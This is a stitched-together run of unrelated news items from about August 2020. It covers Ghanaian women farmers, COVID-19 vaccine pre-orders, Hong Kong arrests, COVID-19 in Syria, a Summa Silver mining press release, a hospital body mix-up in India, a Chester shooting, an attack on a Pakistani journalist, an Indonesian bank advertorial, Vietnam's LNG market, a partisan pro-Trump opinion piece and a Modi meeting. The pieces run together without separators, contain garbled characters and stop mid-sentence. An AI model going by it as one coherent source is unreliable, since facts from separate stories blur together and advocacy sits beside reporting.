Region were women. The WOFAGRIC and the Gold in the Soil Awards was organized by Agrihouse Foundation, an agro-based organization, with support from Canada, Absa Bank Ghana and YARA. The two-day programme afforded female farmers in Ashanti the opportunity to acquire training in leadership skills, soft skills as well as competence-based training and empowerment for small-holder women farmers and women agripreneurs. Some 15 women farmers were awarded at the event with liquid fertilizers, a plaque and citation for distinctive output in their areas of farming. MoFA statistics, according to Rev. Manu, indicated that, about 2,286,892 jobs have been created under the PFJ Programme. The beneficiary farmers were either into food crops production, planting for export and rural development, greenhouse technology villages, rearing for food and jobs or agricultural mechanization services modules. He said the motive was to modernize the agriculture sector and improve food security, create employment opportunities, and reduce poverty in the country. Rev. Manu touching on the COVID-19 pandemic, described it as a health crisis which posed serious threat to food security and an economic crisis that affected everybody in society. He said agricultural implementers adjusting activities or developing COVID-19 mitigation interventions should consider that women would largely experience greater impacts on social and economic prospects as a result of reduced income and food security. He stressed the need for women farmers to be given the needed support to boost food production to ensure food security in the country. Ms. Alberta Nana Akyaa Akosa, the Executive Director of Agrihouse Foundation, applauded farmers, especially woman farmers, for efforts at ensuring food supplies in the various markets and farms despite the challenges in the COVID-19 era. She said her outfit would continue to promote the welfare of farmers through improved technology education, opinion sharing, mentoring and award schemes, among others. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Countries and organisations that have announced advance agreements to acquire doses of COVID-19 vaccines Although none of the coronavirus vaccines under development has proved its efficacy yet in clinical trials, at least 5.7 billion doses have been pre-ordered around the world. First shipments of a COVID-19 vaccine created by Western laboratories have often been snapped up by the United States. Five vaccines -- three Western and two Chinese -- are in Phase 3 efficacy trials involving thousands of people. In a surprise announcement, Russian President Vladimir Putin claimed Tuesday that a vaccine dubbed "Sputnik V" -- after the Soviet satellite -- conferred "sustainable immunity" against the novel coronavirus. As research laboratories around the world race to develop a vaccine, manufacturers have received financing to help them prepare to have millions of doses ready to administer in 2021 or even before the end of the year. Oxford University, working with the Swedish-British pharmaceutical group AstraZeneca, hopes to have results by September while the US biotech company Moderna, partnering with the US National Institutes of Health (NIH), is aiming for the end of the year, possibly November. - US: 700 million doses - President Donald Trump has launched "Operation Warp Speed" in a bid to develop, manufacture and distribute a COVID-19 vaccine to all Americans by January 2021. Hundreds of millions of dollars have been directed to vaccine developers including nearly $500 million to Johnson & Johnson at the end of March. The United States has allocated funding to more companies than other nation in the hope that one of them will come up with the vaccine to counter the highly contagious virus. So far, Washington has handed out at a total of least 9.4 billion dollars to seven vaccine developers and signed manufacturing contracts with five of them to provide 700 million doses. The companies involved are: Johnson & Johnson, Moderna, Oxford/AztraZeneca, Novavax, Pfizer/BioNTech, Sanofi/GSK, Merck Sharp and Dohme. Story continues - Europe: 700 million doses Two vaccine developers -- Oxford/AztraZeneca and Sanofi/GSK -- have signed or are in advanced negotiations with the European Commission to provide a combined 700 million vaccine doses. - Britain, Japan, Brazil - Britain, because of Brexit, is negotiating a separate pre-order of 250 million doses from four developers. Japan is counting on 490 million doses from three suppliers including 250 million from Novavax of the United States. Japanese pharmaceutical giant Takeda bought the rights to a Novavax vaccine for Japan, which has funded the research. It would be produced locally. Brazil chose a similar model, ordering 100 million doses from AstraZeneca, and partnering with China's Sinovac to produce 120 millions of "CoronaVac," which is already undergoing testing with Brazilians. - China, Russia - Clinical tests of two Chinese vaccine candidates -- Sinovac and Sinopharm -- are well underway but only a few international partnerships have been announced, the one with Brazil and a possible one with Indonesia. Russia said 20 nations have pre-ordered one billion doses of Sputnik V and that with foreign partners it would be able to produce 500 million doses a year in five countries. - Developing countries - The Coalition for Epidemic Preparedness Innovations (CEPI), launched in 2017 by Norway, India, the Bill and Melinda Gates Foundation and the Wellcome Trust, seeks to ensure that there is "equitable access" to future vaccines. It has pre-ordered 300 million doses from AstraZeneca for dozens of developing countries in a partnership with The Vaccine Alliance (Gavi). Billions of doses would be produced for Asia and elsewhere by the giant Serum Institute of India (SII), the largest vaccine producer in the world. Novavax and AstraZeneca have separately signed agreements with SII to produce a billion doses each for India and low- and middle-income countries on the condition, of course, that they prove their efficacy in clinical trials. ico/cl/bgs Taiwan condemns Hong Kong arrests of media tycoon, democracy activists ROC Central News Agency 08/10/2020 06:13 PM Taipei, Aug. 10 (CNA) Taiwan on Monday condemned the arrest of seven democracy activists in Hong Kong, including Hong Kong tycoon Jimmy Lai (), founder of media group Next Digital, on suspicion of violating the city's new security law. Hong Kong police arrested Lai, Democratic Party founding chairman Martin Lee () and five others Monday morning for allegedly breaching the national security law which was imposed by Beijing in June. They also raided the offices of Hong Kong pro-democracy Apple Daily, an affiliate of Next Digital. Taiwan's Presidential Office condemned the police sweep and called on Beijing to settle disputes through sincere dialogue with Hong Kong's people. Presidential Office spokesman Xavier Chang () said the arrests seriously eroded media freedom, human rights, the rule of law and democratic freedom in Hong Kong. Meanwhile, the Mainland Affairs Council (MAC), Taiwan's top government agency in charge of China policy, condemned the Chinese and Hong Kong authorities for suppressing freedom of speech, freedom of the press and civil rights in Hong Kong by introducing the law. The MAC said in a statement that the arrests indicated that the purpose of the law was to silence dissent in Hong Kong and expand China's dominance over the territory. If the authorities continue to abuse their power and trample on freedom and democracy, it will further alienate the hearts and minds of Hong Kong's people, the MAC said. Taiwan's ruling and opposition political parties also denounced and protested the arrests. The ruling Democratic Progressive Party said in a statement that the Chinese and Hong Kong authorities continue to suppress human rights in Hong Kong and make arbitrary arrests of pro-democracy advocates in a broad political purge, despite opposition from the international community. Kuomintang Chairman Johnny Chiang () said Hong Kong's move would undermine popular support for and confidence in the government, and he reiterated the KMT's support for democracy and the rule of law in Hong Kong. (By Wen Kuei-hsiang, Lai Yen-hsi, Yeh Su-ping, Wang Cheng-chung and Evelyn Kao) Enditem/ls NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The coronavirus spread is wreaking havoc in Damascus, as it spreads through hospitals claiming the lives of a number of doctors, as well as civilians. The coronavirus has claimed the lives of a large number of Syrian doctors inside and outside Syria, doctors who have worked tirelessly since the outbreak of the virus and have been on the frontlines, helping to treat the sick. Opposition news website, Baladi News, reported that overt the past 30 days, hospitals in Damascus and its countryside lost more than 30 doctors, the last of whom was the doctor and holder of the title Professor of Urology at the Dar al-Shifa Hospital, Duraid Yaziji. Just the day before Dr. Muhammad Ziyad Khamis, the brother of former prime minister Imad Khamis, who had rescued and treated dozens of people in eastern Ghouta, died. Over the past two days, the city of al-Raheeba in the eastern Qalamoun, in the Damascus countryside, recorded 22 coronavirus cases. The local Sowt Al-Asima website wrote on Sunday that 19 people from Douma city in Ghouta have died of the coronavirus since the beginning of August. According to Sowt Al-Asima, most of the dead were elderly and residents of Khorshid, al-Quwatli and the Tayseer Taha neighborhoods, in the city center. The site confirmed that the burial of all the deceased took place under the direct supervision of medical units of the Syrian Red Crescent Organization, and in the presence of a limited number of the deceaseds next of kin. In the opposition areas, more than a million displaced Syrians living in camps in northern Syria are under threat, after two cases were confirmed in one of the camps in the northern countryside of Aleppo, on Sunday. According to Alsouria Net, the Ministry of Health in the Syrian Interim Government announced yesterday that two new cases were recorded, for the first time in the Bab al-Salama camps in the northern countryside of Aleppo, bringing the total number of infections to 45. According to the ministry, there were not any new recoveries, keeping the total number of recoveries at 29. In recent days, humanitarian and medical organizations have warned of the arrival of the coronavirus in the northern Syrian camps, especially with the absence of any possibility to implement social distancing and quarantine measures. The Response Coordinators in northern Syria said in a statement The camps have entered a dangerous phase. The regions of northern Syria lack the components of a sturdy medical system that is capable of responding to pandemics and diseases, as a result of the lack of support provided to them, and the bombing they were subjected to over the past years and months, which led a large number of hospitals and medical centers to ceaseing operations. The centers approved by the regime government to carry out PCR tests are witnessing an unprecedented influx of patients, amid an apparent absence of supervision by the concerned authorities, which has been contributing to the spread of the virus instead of preventing it. The SY 24 correspondent in Damascus said that one of the approved centers responsible for testing travellers is witnessing overcrowding, so is the al-Mazzeh area in Damascus, especially since each traveler has to visit the center several times to receive clearance to travel. Syrian actor Ahmed Rafi, known for his strong loyalty to the regime, commented on the situation in the Syrian hospitals that are teeming with patients, describing what is happening as catastrophic. Rafi, who is receiving treatment for the coronavirus, and according to pro-regime sources, stated that, Conditions in Syrian hospitals are catastrophic due to patients negligence and the medical staffs fear of giving them treatment as well as the lack of medical equipment and medication, let alone the huge number of infections. Rafi continued, Patients in emergency units and hospitals are laying on the ground. He pointed out that, the health situation at al-Assad University Hospital is very poor, and the number of infections is in the thousands, with dozens of deaths daily, as there is no oxygen available in the hospital. Most are fighting death without oxygen or any medical attention. He confirmed that he personally witnessed the death of 60 people in one day, noting that, people have been bringing patients in and leaving their phone number, asking the medical staff to call them when the patient dies. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. Summa Silver Appoints Michael Konnert to Board of Directors; Adds Second Core Rig to Ongoing Drill Program Testing Extensions of Past Producing Silver and Gold Mines Posted by Publisher Internet Summa Silver Corp. (?Summa Silver? or the ?Company?) (CSE: SSVR) (Frankfurt: 48X https://www.commodity-tv.com/play/summa-silver-focus-on-new-discoveries-in-a-historic-district/ ) is pleased to announce that Michael Konnert has been appointed to the Board of Directors. In addition, a second core drilling rig has recently been mobilized to site and is now drilling high priority targets on the project as part of the ongoing 7,500 m program. ? Key Highlights Board of Directors Appointment: Michael Konnert has been appointed to the Board of Directors of the Company. Mr. Konnert is Chief Executive Officer and founder of Vizsla Resources Corp. (TSXV: VZLA) where recent drilling has returned high-grade silver and gold results from an exciting new discovery. Second Core Rig Added: Diamond drilling is in progress with two core rigs in operation and five holes completed to date for approximately 2,700 m in finished holes. High Potential Targets: Targets for the current program were selected based on extensive three-dimensional modeling of the geology, faults, veins, and underground workings of the historic Tonopah District (see attached figure) First Modern Exploration of the Belmont Mine: Drilling will target veins that remain open along strike and down-dip in the Belmont Mine, which between 1903 and 1929 was a major American silver producer. First-Ever Drilling at the Mizpah Extension Mine: Drilling will target extensions of veins that were only mined on a very small scale and have never been drilled. Follow-Up Drilling at the Ruby target area: Angled drill holes will test the area of vertical hole ET-7, which in 1989 is reported to have intersected silver and gold mineralization which has not since been pursued. Strong Financial Potion: Having raised a total of $13M in the last three months, the Company is fully funded and ready to expand the current drill program as results warrant. Galen McNamara, CEO, stated: ?We are delighted to have Michael join the Company?s Board. He is a seasoned mining industry executive, whose strategic vision and experience will be very valuable as we aggressively push forward with our ongoing fully financed 7,500 m drill program at the Hughes property in Tonopah, Nevada. The district has seen increased interest with the high-grade discovery only 300m west of our project. We are currently evaluating the possibility of expanding the program so we can drill potential strike-extensions to that mineralization.? Michael Konnert, incoming Director, added: ?I am very grateful to join the board of Summa Silver. Galen and his team have done excellent work in securing the eastern portion of the exciting historic Tonopah silver camp. I am pleased to join the company and help advance Summa?s vision of building a high-grade silver company.? Belmont Mine Targets (6-10 Holes) Three broad areas will be drilled in the vicinity of the Belmont Mine. Each hole will target strike and/or dip extensions of known veins. Importantly, historic underground development on many of the veins was stopped at shallow levels well above the elevation of greatest dilation in the Belmont Vein, which was up to 15m wide before it was mined. In addition, the tightly stacked nature of the veins in the mine area means that many of the holes will test multiple targets along their planned lengths. Mizpah Extension Mine Target (2-3 Holes) The first targets in the Mizpah Extension Mine area will be up- and down-dip from an area of historically mined material. Small scale mining was done in 1914 on only one level in the Mizpah Extension Mine approximately 300m below surface and 350m east of the Belmont Mine. No drilling is known to have been done in this area. Ruby Target (2-3 Holes) At least two holes will be collared in this area to follow-up on hole ET-7, which approximately 1,000 m further east from the Mizpah Extension Mine workings is reported to have intersected silver and gold mineralization. Of important note, ET-7 was drilled as a vertical hole. Three-dimensional modeling shows that the most prospective veins on the Property are steeply oriented or near vertical and therefore not appropriately tested with vertical drill holes. Board Changes Mr. Konnert is Chief Executive Officer and founder of Vizsla Resources Corp., currently exploring the Panuco district in Mexico where recent drilling has returned high-grade silver and gold results in the Napoleon vein corridor. He is also co-founder and Partner of Inventa Capital Corp., a private natural resource investment company based in Vancouver, BC. Previously, he was co-founder and CEO of Cobalt One Energy Corp., which was acquired by Blackstone Minerals Ltd. in 2017. Michael has nearly a decade of experience in the natural resources industry, specifically in executing successful corporate strategies for mineral exploration companies. Additionally, Hani Zabaneh has resigned from the Board of Directors. The Company would like to thank Mr. Zabaneh for his contributions and wish him well in his future endeavours. Qualified Person The technical content of this news release has been reviewed and approved by Galen McNamara, P. Geo., the CEO of the Company and a qualified person as defined by National Instrument 43-101. The Qualified Person has not verified the data disclosed, including sampling, analytical and test data underlying the information or opinions contained in the written disclosure. About Summa Silver Corp Summa Silver Corp is a Canadian junior mineral exploration company. The Company has the option to earn a 100% interest in the Hughes property located in central Nevada. The Hughes property is host to the high-grade past-producing Belmont Mine, one of the most prolific silver producers in the United States between 1903 and 1929. The mine has remained inactive since commercial production ceased in 1929 due to heavily depressed metal prices and little to no modern exploration work has ever been completed. There are no assurances that the Company will achieve the same results for the Property as past producers. Past production figures of the Belmont Mine are historical and there are no assurances that the Company will be able to reconcile these to current NI 43-101 categories. A qualified person has not done sufficient work to classify this information as a current mineral resource estimate and the Company is not treating the historical production as a current NI 43-101 mineral resource. This news release contains certain statements that may be deemed ?forward-looking statements? with respect to the Company within the meaning of applicable securities laws. Forward-looking statements are statements that are not historical facts and are generally, but not always, identified by the words ?expects?, ?plans?, ?anticipates?, ?believes?, ?intends?, ?estimates?, ?projects?, ?potential? and similar expressions, or that events or conditions ?will?, ?would?, ?may?, ?could? or ?should? occur. Although Summa believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance, are subject to risks and uncertainties, and actual results or realities may differ materially from those in the forward-looking statements. Such material risks and uncertainties include, but are not limited to, the Company?s ability to raise sufficient capital to fund its obligations under its property agreements going forward, to maintain its mineral tenures and concessions in good standing, to explore and develop the Hughes project, and for general working capital purposes; changes in economic conditions or financial markets; the inherent hazards associated with mineral exploration and mining operations, future prices of silver and other metals, changes in general economic conditions, accuracy of mineral resource and reserve estimates, the ability of the Company to obtain the necessary permits and consents required to explore, drill and develop the project and if obtained, to obtain such permits and consents in a timely fashion relative to the Company?s plans and business objectives for the projects; the general ability of the Company to monetize its mineral resources; changes in environmental and other laws or regulations that could have an impact on the Company?s operations, compliance with environmental laws and regulations, aboriginal title claims and rights to consultation and accommodation; dependence on key management personnel; general competition in the mining industry; and uncertainties surrounding the COVID 19 pandemic. Forward-looking statements are based on the reasonable beliefs, estimates and opinions of the Company?s management on the date the statements are made. Except as required by law, the Company undertakes no obligation to update these forward-looking statements in the event that management?s beliefs, estimates or opinions, or other factors, should change. In a major lapse, family members of a 22-year-old man who died in a government hospital here in Madhya Pradesh a few days back were asked to take the body of a 65-year-old man, prompting the administration to suspend a doctor on Monday. The family members protested and refused to take the body from the hospital's mortuary when they realised it was not that of the 22-year-old man. The deceased's father, Ramvishal Kushwaha, said the district Chief Medical and Health Officer (CMHO) claimed his son was cremated by local body authorities. The suspended doctor is an assistant professor of the medical college to which the hospital is attached, officials said. The deceased was admitted in the government-run Sanjay Gandhi Hospitals ICU ward on August 3 after initial treatment at Mauganj near here as he had severe body ache, his atherRamvishal Kushwaha told reporters on Monday. After that doctors referred him to the COVID-19 centre within the hospital and since then no information was provided about him, he alleged. After three-four days when they tried to find out the condition of the ailing man, the doctors on August 9 informed family members that he has died and asked them to identify the body in the mortuary, Ramvishal Kushwaha said. When the bag in which the body was kept was opened, they were shocked to find that it was of a 65-year-old man but the tag on it was that of his son, he said. Enraged over it, the family members gheraoed the offices of commissioner and superintendent of police demanding action against negligent doctors. Ramvishal Kushwaha said till date they have not been given the COVID-19 test report of his son. Meanwhile, taking the matter seriously, the Rewa division commissioner suspended assistant professor of the government medical college, Dr Rakesh Patel, on charges of negligence in the matter, the officials said. Ramvishal Kushwaha alleged that probably hospital authorities cremated his son along with others a few days ago, ut are not revealing the truth behind his death. Though Chief Medical and Health Officer (CMHO) DrYatnesh Tripathi claimed that the body was cremated by local body authorities, the family has not yet received his ashes, he distraught father said. CHESTER A city man is facing first-degree murder and related charges for an early morning shooting last week that left one person dead and another in critical condition. John Edward Blackston Jr., 36, is also charged with aggravated assault, attempted murder, reckless endangerment and firearms offenses in the Aug. 7 shooting death of Jennie Luckie. Chester officers responded to the area of Ninth and Booth streets at about 4:37 a.m. Friday for a report of a shooting victim and possibly another victim that was deceased inside of a vehicle, according to a release from Deputy Police Commissioner Steven Gretsky. Officers were initially unable to locate the vehicle, which was later found in the area of Ninth and Chestnut streets in Trainer. Police responded to that location and found a red Nissan Altima stopped in the westbound lane of the 3900 block of Ninth Street. The driver, identified as 38-year-old Christopher King, was lying next to the vehicle suffering from multiple gunshot wounds, the release says. A second victim, identified as 32-year-old Luckie, was found in the front passenger seat, slumped over. Luckie had sustained a gunshot wound to the head area and was pronounced dead at the scene by paramedics from Crozer-Chester Medical Center. King was treated at the scene and transported to Crozer for further treatment in critical condition. Gretsky said his condition has been upgraded to fair as of Monday. Officers found a crime scene on the 700 block of Wilson Street that included multiple shell casings, projectiles and broken glass, according to the release. Detectives from the City of Chester and the Delaware County Criminal Investigation Division launched a homicide investigation and identified Blackston as a suspect. Detective Victor Heness saw Blackston sitting in the passenger seat of a white 2019 Nissan Rogue in the 2900 block of West 12th Street at about 5:33 p.m. Saturday, according to the release. Heness conducted a vehicle stop and placed Blackston into custody for an outstanding warrant on charges including paraphernalia, damage to a vehicle and eluding police. Blackston was transported back to police headquarters, where he was also charged with Fridays shooting. Blackston was preliminarily arraigned Sunday before Magisterial District Justice Wendy Roberts on the shooting and outstanding warrant, and committed to the county prison in Concord without bail due to the charges against him. He is scheduled for a preliminary hearing Aug. 26 before Magisterial District Judge Charles G. Nistico. No defense attorney was listed on court documents. Anyone with further information on the case is urged to contact Chester Detective Rhaheem Blanden at 610-447-8420 or rblanden280@chesterpolice.org, or Delaware County Detective David Tyler at 610-891-4197 or tylerd@co.delaware.pa.us. Abbas Ali Jutt, a journalist affiliated with Daily Sahafat and general secretary of Okara Union of Journalist, was attacked in Okara district, Punjab on August 8, 2020. The International Federation of Journalists (IFJ) and its Pakistan affiliate the Pakistan Federal Union of Journalists (PFUJ) urge Pakistan authorities to launch an investigation into the attack and reprimanding the guilty. Journalist Jutt was attacked when he was returning home at 9 pm by a local drug dealer. The attack is thought to be in relation to the journalists social media post about drug sellers in the district. According to the PFUJ, the assailants tried to abduct him, but the journalist managed to flee with help from his friends. The journalist sustained injuries all over his body. Jutt reported the incident to Okara district police immediately, enabling the police to assist in his rescue. The Okara district police also registered an investigation or First Information Report (FIR) against the assailants. The assailants, reported to have political backing, are yet to be arrested. Pakistan is one of the most dangerous countries for journalists, with frequent incidents of killing, detainment, attacks, threats, censorship and harassment. On July 23, journalist Anwar Jan Barkhan, Balochistan was shot dead . On July 22, Shikh Shan, a correspondent for Express News group, was attacked and senior Pakistani journalist Matiullah Jan was abducted on July 21. The PFUJ said: The PFUJ strongly condemn the attack on journalist Jutt and urges the police to arrest the attackers to bring them to justice. We remind the government of Pakistan to provide security to the working journalists so that they continue to unearth the social evils. The IFJ said: The IFJ denounces the organised attack against the journalist and urges police to conduct a thorough investigation and ensure all journalists, including Abbas Ali Jutt, are able to continue their work without any fear. Share this article Whatsapp Facebook Twitter Linkedin Inforial (The Jakarta Post) Jakarta, Indonesia Tue, August 11, 2020 19:24 525 6657ac82168da9fa101c8a4066d3057a 4 Inforial Free The COVID-19 pandemic that hit Indonesia in early March has significantly affected almost every business sector, leaving the countrys economy in trouble. In this unfavorable situation, Indonesia needs to speed up its economic recovery. This means fast disbursement of loans to businesses, particularly micro, small and medium enterprises (MSME), as these are on the front line of the national economic recovery and should therefore be a matter of priority. Thanks largely to its commitment on digital transformation and culture and its great attention to MSMEs, state-owned lender Bank Rakyat Indonesia (BRI) has achieved its funds disbursement target set by the government under the National Economic Recovery (PEN) plan. Digitalization is instrumental to accelerating the loan disbursement process, and its BRISPOT app enables BRI to process an average of Rp 939 billion worth of loans per day, according to BRI president director Sunarso. Digitalization has proved to be able to improve BRIs performance in its bid to salvage and reinvigorate MSMEs in this challenging situation, he said. As of Aug. 10, the Company has distributed credit sourced from the placement of Rp 30.6 trillion worth of PEN funds to 700,000 MSME players. Previously, on June 25, BRI had received a placement of Rp 10 trillion in funds from the government, with the expectation that BRI could leverage the funds threefold into MSME loans within three months. Surnarso unveiled that the majority loan recipients were micro business players. Of the disbursed loans, 70 percent or about Rp 21.6 trillion was distributed to the micro segment, he said. Meanwhile, with regard to the economic sectors the recipients are engaged in, trade accounted for 50 percent, agriculture for 22 percent and processing industries for 9.5 percent. . (./.) According to Sunarso, the digital ecosystem, especially with regard to the micro credit program Kredit Usaha Rakyat (KUR), has also contributed to the acceleration of PEN funds disbursement. We have cooperated with e-commerce start-ups and ride-hailing companies like Gojek, Grab, and e-commerce platforms, such as Tokopedia, Shopee and Bukalapak on disbursing the KUR Digital loans. This breakthrough has widened our coverage and eased the MSME players access to capital, and this is tangible evidence that BRI has showcased in a bid to implement #BUMNBangkitkanUMKM initiatives, he concluded. Though the LNG market in Vietnam is still in its infancy, both state-owned enterprises like PV Gas and private companies like Angelin Energy see its great potential, reported Nhip Cau Dau Tu. For many years, Vietnams energy sources have mostly come from fossil fuels such as gas, petroleum, coal and hydropower. However, the sources of energy are becoming exhausted and Vietnam has begun importing coal for thermopower plants. Illustrative image Meanwhile, traditional fossil fuels, causing serious pollution to the environment, are not in lind with the green consumption tendency in the world. Therefore, restructuring the energy sector is a must. Renewable energy and LNG will become the major sources of energy for Vietnam in the future. Trinh Duc Duy, deputy director of the Oil & Gas and Coal Department, said the proportion of renewable energy has increased significantly: hydropower accounts for 21.3 percent, coal-fired power 20.36 percent, gas 7 percent, solar 5-8 percent, oil 2.3 percent, biomass and wind power 0.1 percent, and imports 1.1 percent. Under the governments plan, renewable energy will account for 15-20 percent of total electricity generation sources by 2030 and 25-30 percent by 2040. The electricity from coal and hydropower will be decreasing gradually, while the proportion of renewable energy and non-carbon non-polluting gases such as LNG (Liquefied Natural Gas) will be increasing. To date, the government of Vietnam has not set specific policies for the LNG segment. Only PV Gas and EVN can provide LNG made in Vietnam, while imports are not allowed. However, anticipating a market boom, a series of infrastructure projects for LNG worth billions of dollars are being implemented throughout Vietnam. Though the LNG market in Vietnam is still in its infancy, both state-owned enterprises like PV Gas and private companies like Angelin Energy see its great potential. The two most valuable projects signed at the Vietnam Energy Forum 2020 were both in the LNG sector. One of the projects was Chan May LNG, capitalized at $6 billion, and the other was the gas-fired power project in Ca Na of Ninh Thuan province, capitalized at $3.85 billion. There are about 15 large infrastructure projects preparing for the import of LNG in the near future. LNG has not been used on a large scale in Vietnam because of the required high investment rate on storage facilities, transport vehicles, infrastructure, equipment, and processing machines. The LNG demand in Vietnam is increasingly high. LNG is not only provided to the power sector, but also used in the steel and ceramics industry. But the domestic supply is limited and it is on the decline, said Nguyen Thanh Binh, deputy CEO of PV Gas. Binh estimated that Vietnam would need 7 billion cubic meters of LNG by 2025 and 20 billion cubic meters by 2030. Translated by Mai Chi VN female researcher uses fuel cells for renewable energy With a passion for renewable energy development, Ho Thi Thanh Van from the HCM City University of Natural Resources and the Environment has created research breakthroughs in the use of fuel cells, an important source of clean energy of the future. There are three groups of people who will vote for Trump: those who supported Trump in 2016, those who have come to support Trump, and those who are so frightened of Biden and the Democrats that they'll do anything to see Trump win. This has the potential to be a sizable voting bloc, one that may give Trump more than the 30 states he won in 2016. Don Surber (whose blog you should be reading) is predicting that Trump will not only win the 30 states he won in 2016, but will add another seven. I'm beginning to think Don is on to something. Don's starting point is that, subject to a vanishingly small number of exceptions, those people who supported Trump in 2016 still support him. That means he'll get 63 million or so votes at a minimum. That's a good start. Next, add the people who have grown to appreciate Trump. Until the Democrats used the Wuhan virus to shut down the economy, Trump had presided over an extraordinary economic boom, one that benefited all Americans. In an op-ed for CNN that must have terrified Democrats, Rich Thau, who runs the Swing Voter Project, wrote about the normal, fairly apolitical, people who benefited from the Trump boom. The majority of these swing voters, he said, want Trump: [E]ach month for the past 17 months, I've had a unique window into the Americans largely responsible for giving the president his slim Electoral College victory: so-called "Obama-Trump" swing voters across the upper Midwest. Our Swing Voter Project has uncovered that many of these people, who live in places such as Canton, Ohio; Davenport, Iowa; Erie, Pennsylvania; and Macomb County, Michigan, prefer Trump over Biden. In fact, 22 of 33 respondents in these four most recent locations feel this way. And over the first year of the project, from March 2019 through February 2020, more than two-thirds of the "Obama-Trump" voters said they would take Trump over Obama in a hypothetical match-up. [snip] They think a businessman is best suited to turn the country around economically. They feel Covid-19 was not Trump's fault, and he's doing the best he can to contain it. For these voters, it's not just about money. In 2020, Democrats have indulged in the ultimate self-destructive temper tantrum. Swing voters, says Thau, have watched the Democrats' over-the-top response to the virus, seen how their foot soldiers have wrought a path of destruction across America, and noticed how their politicians and "elite" have encouraged the chaos and violence: They conflate the Black Lives Matter protesters with the rioters attacking federal buildings and retail shops. They don't want historic monuments torn down. And they dismiss defunding the police as ridiculous. These voters tell me they want America finally to be put first; they oppose immigration and trade policies they say give benefits to foreigners at their expense. And they want a non-politician who relentlessly fights back, after witnessing too many office holders fold in the face of special interests. The last group of probable Trump voters consists of conservatives who despise Trump almost as much as Democrats do. I'm talking about not the grifters of the Lincoln Project, but real conservatives. Bernard Goldberg speaks for those conservatives. Goldberg acknowledges that he intensely dislikes everything about Trump's personality and style. Nevertheless, he says, "I hope he wins re-election in a landslide." Goldberg is an "anything but Biden" voter, and Trump is that "anything": Actually what I mean is that I hope the Republican candidate beats the Democratic candidate. And I wish the Republican candidate were almost anybody else. But since "almost anybody else" isn't running, I hope Joe Biden loses more than I'm actively rooting for Donald Trump to win. If that's akin to a distinction without a difference . . . so be it. Goldberg explains just how dangerous Biden and the new, hard-left Democrats are to America, so his article is a good read. Sam J., a Twitchy editor, tweeted much the same: In 2016 I couldn't stand Trump. Over the past four years, the behavior of the Left and the media has made it clear that I must do anything to vote against them. They helped elect him then with free coverage, and they're re-electing him now with their insane hatred. WTG. TheFOO (@PolitiBunny) August 10, 2020 I voted for Johnson in 2016. I will do everything I can to keep those crazy assholes out of the White House and out of power, even if that means voting for Trump. TheFOO (@PolitiBunny) August 10, 2020 Her tweet led to a huge chorus of "amens": ! I am an "independent" voter who voted on both sides of the aisle but I a w/you for sure this year. @GOP & @realDonaldTrump are the only hope we have to maintain our American/Freedom values. FlyAce Wanda (@FlyGalAZ) August 10, 2020 They definitely drove me from independent to voting for trump in 2020. Geaux Tigers 504 (@just_some_cajun) August 10, 2020 Same at my house. My wife feels the same way. She did not vote last time. Cannot wait to vote for him. tab (@Tommytabtab) August 11, 2020 Im in the same boat. I have a hard time stomaching Trump, but the left just genuinely hates me, so does the media, and so does our governor Ralph. What am I supposed to do? Pleased To Meet Me (@NicosiaPatrick) August 11, 2020 I didnt vote for him in 2016, but, I am for sure in November. Seven people in my family are voting for him, as well, and they voted for Hillary. I wrote in Don Mattingly. Seeing the republicans bash him for pushing for everything they ever wanted is appalling. KAG 2020 Howie Felterbush (@HFelterbush) August 11, 2020 At this point, even if Biden were to announce that Michelle Obama will be his vice president, I don't think that would sway these voters. Even if they have a residual fondness for her, the Democrat party that trails in her wake has gone too far ever to be forgiven. Image: Donald Trump at the American Red Cross National Headquarters by White House Flickr feed, public domain. New Delhi: Prime Minister Narendra Modi on Tuesday (August 11, 2020) interacted with the Chief Ministers or representatives of 10 states badly hit by the coronavirus pandemic and advised that containment, contact tracing, and surveillance were key to the effective management of the COVID-19 virus in the country. The states that participated in the meeting included Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh. In his address during the video conference meeting, the Prime Minister said that the states with less testing of samples had more coronavirus cases and advised testing to be increased in bigger states like Uttar Pradesh, Gujarat, Bihar, West Bengal, and Telangana. The PM said that 80 per cent of the COVID-19 cases in India were reported in these 10 states. The meeting was held to discuss the current coronavirus situation in India and the roadmap to tackle the pandemic. The Prime Minister recounted how Union Home Minister Amit Shah prepared a roadmap to tackle the coronavirus pandemic in cooperation with Delhi and nearby states. "The main pillars of this strategy were segregation of containment zones and focus on screening, especially of those in high-risk categories. The results of these steps are there for all to see," he said, adding that steps like better management in hospitals and increasing ICU beds also proved very helpful. PM Modi pointed out that daily tests in the country had reached almost 7 lakh and were increasing continuously, which had helped in early identification of corona infections and their containment. The average fatality rate in the country is among the lowest in the world and is continuously going down. "The percentage of active cases is reducing, while the recovery rate is increasing," he said. "Our efforts have given better results, which has increased the confidence of the people and brought down the fear factor." The Prime Minister said that the target of bringing down the fatality rate below 1 per cent can be achieved soon. "With the Aarogya Setu app, we can do our work better; due to this, home quarantine facility is being implemented in a better way," he added. During the meeting, the Chief Ministers of Tamil and Punjab sought more funds from the Centre to deal with the COVID-9 pandemic. We've received Rs 512.64 crore from Centre in 2 tranches under Emergency Response and Health Systems Preparedness package out of Rs 712.64 crore allotted to state. I request this package may be stepped up to Rs 3,000 crore as my earlier request, Tamil Nadu CM Edappadi K Palaniswami said at the video conference meeting with PM. As we have already fully exhausted State Disaster Response & Mitigation Fund, I also request an ad-hoc grant of Rs 1,000 crore from NDRF immediately to fight the pandemic. Releasing pending CMR subsidy of Rs 1,321 crore at this time will facilitate paddy procurement, the Tamil Nadu CM added. To make up for the shortfall, Tamil Nadu may be allocated 9,000 crore rupees special grant to combat COVID-19 and its impacts on the states economy. The GST compensation for April-June, 2020 may be released early, the Tamil Nadu CM urged the PM. On his turn, Punjab CM Captain Amarinder Singh sought from PM Narendra Modi a liberal financial package for states to fill the collection gap caused by the pandemic, and also flexibility on COVID-19-related terms of expenditure in SDRF. During his interaction with PM Modi, Capt 